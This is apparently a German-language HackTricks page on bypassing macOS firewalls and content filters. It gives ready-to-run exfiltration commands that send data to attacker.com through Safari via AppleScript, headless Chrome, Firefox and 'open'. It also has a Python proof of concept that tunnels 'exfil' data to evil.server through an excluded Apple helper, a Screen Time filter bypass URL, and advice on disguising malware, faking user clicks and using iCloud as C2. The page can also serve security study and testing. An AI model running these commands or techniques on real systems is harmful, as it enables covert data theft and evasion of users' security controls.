macOS Bypassing Firewalls
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Gefundene Techniken
Die folgenden Techniken wurden in einigen macOS-Firewall-Apps als funktionierend festgestellt.
Missbrauch von Whitelist-Namen
- Zum Beispiel das Malware mit Namen bekannter macOS-Prozesse wie
launchd
aufrufen.
Synthetischer Klick
- Wenn die Firewall um Erlaubnis vom Benutzer bittet, lasse die Malware auf Erlauben klicken.
Verwendung von von Apple signierten Binärdateien
- Wie
curl
, aber auch andere wiewhois
.
Bekannte Apple-Domains
Die Firewall könnte Verbindungen zu bekannten Apple-Domains wie apple.com
oder icloud.com
erlauben. Und iCloud könnte als C2 verwendet werden.
Generischer Bypass
Einige Ideen, um zu versuchen, Firewalls zu umgehen.
Erlaubten Verkehr überprüfen
Das Wissen um den erlaubten Verkehr wird Ihnen helfen, potenziell auf die Whitelist gesetzte Domains oder welche Anwendungen Zugriff darauf haben, zu identifizieren.
lsof -i TCP -sTCP:ESTABLISHED
Missbrauch von DNS
DNS-Auflösungen erfolgen über die mdnsreponder
signierte Anwendung, die wahrscheinlich berechtigt ist, DNS-Server zu kontaktieren.
.png)
Über Browser-Apps
- oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- Google Chrome
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Über Prozessinjektionen
Wenn Sie Code in einen Prozess injizieren können, der berechtigt ist, eine Verbindung zu einem beliebigen Server herzustellen, könnten Sie die Firewall-Schutzmaßnahmen umgehen:
Aktuelle macOS Firewall-Umgehungsschwachstellen (2023-2025)
Umgehung des Webinhaltfilters (Bildschirmzeit) – CVE-2024-44206
Im Juli 2024 hat Apple einen kritischen Fehler in Safari/WebKit behoben, der den systemweiten „Webinhaltfilter“ beeinträchtigte, der von den Bildschirmzeit-Elterngesteuerten verwendet wird. Eine speziell gestaltete URI (zum Beispiel mit doppelt URL-kodiertem “://”) wird von der Bildschirmzeit-ACL nicht erkannt, aber von WebKit akzeptiert, sodass die Anfrage ungefiltert gesendet wird. Jeder Prozess, der eine URL öffnen kann (einschließlich sandboxed oder unsigniertem Code), kann daher auf Domains zugreifen, die vom Benutzer oder einem MDM-Profil ausdrücklich blockiert sind.
Praktischer Test (nicht gepatchtes System):
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
Packet Filter (PF) Regelreihenfolge-Fehler in der frühen macOS 14 “Sonoma”
Während des macOS 14 Beta-Zyklus führte Apple eine Regression im Userspace-Wrapper um pfctl
ein. Regeln, die mit dem quick
Schlüsselwort hinzugefügt wurden (verwendet von vielen VPN-Kill-Switches), wurden stillschweigend ignoriert, was zu Datenlecks führte, selbst wenn eine VPN-/Firewall-GUI blockiert meldete. Der Fehler wurde von mehreren VPN-Anbietern bestätigt und in RC 2 (Build 23A344) behoben.
Schneller Leak-Check:
pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
Missbrauch von von Apple signierten Hilfsdiensten (legacy – vor macOS 11.2)
Vor macOS 11.2 erlaubte die ContentFilterExclusionList
~50 Apple-Binärdateien wie nsurlsessiond
und den App Store, alle Socket-Filter-Firewalls, die mit dem Network Extension-Framework implementiert wurden (LuLu, Little Snitch usw.), zu umgehen. Malware konnte einfach einen ausgeschlossenen Prozess starten – oder Code in ihn injizieren – und ihren eigenen Datenverkehr über den bereits erlaubten Socket tunneln. Apple hat die Ausschlussliste in macOS 11.2 vollständig entfernt, aber die Technik ist auf Systemen, die nicht aktualisiert werden können, weiterhin relevant.
Beispiel für einen Proof-of-Concept (vor 11.2):
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
Tooling-Tipps für modernes macOS
- Überprüfen Sie die aktuellen PF-Regeln, die GUI-Firewalls generieren:
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
- Zählen Sie Binärdateien auf, die bereits das outgoing-network Entitlement besitzen (nützlich für Piggy-Backing):
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
- Registrieren Sie programmgesteuert Ihren eigenen Network Extension Content Filter in Objective-C/Swift. Ein minimales rootless PoC, das Pakete an einen lokalen Socket weiterleitet, ist im Quellcode von Patrick Wardle’s LuLu verfügbar.
Referenzen
- https://www.youtube.com/watch?v=UlT5KFTMn2k
- https://nosebeard.co/advisories/nbl-001.html
- https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.